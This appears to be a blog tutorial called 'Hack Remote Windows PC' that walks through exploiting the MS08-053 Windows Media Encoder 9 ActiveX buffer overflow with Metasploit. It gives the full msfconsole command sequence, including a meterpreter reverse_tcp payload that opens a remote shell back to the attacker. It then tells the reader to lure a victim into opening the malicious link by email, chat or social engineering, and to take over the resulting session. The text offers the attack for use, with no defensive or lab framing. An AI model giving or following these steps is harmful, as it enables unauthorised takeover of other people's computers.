Hack Remote Windows PC using Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow

This module exploits a stack buffer overflow in Windows Media Encoder 9. When sending an overly long string to the Get Details String () method of wmex.dll an attacker may be able to execute arbitrary code.

Exploit Targets

Windows Media Encoder 9

Internet Explorer 6 on XP SP2

Internet Explorer 7 on XP SP2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ms08_053_mediaencoder

Msf exploit (ms08_053_mediaencoder)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms08_053_mediaencoder)>set lhost (IP of Local Host)

Msf exploit (ms08_053_mediaencoder)>set srvhost (This must be an address on the local machine)

Msf exploit (ms08_053_mediaencoder)>set uripath mediaencoder (The Url to use for this exploit)

Msf exploit (ms08_053_mediaencoder)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

Leave a Reply

Your email address will not be published. Required fields are marked *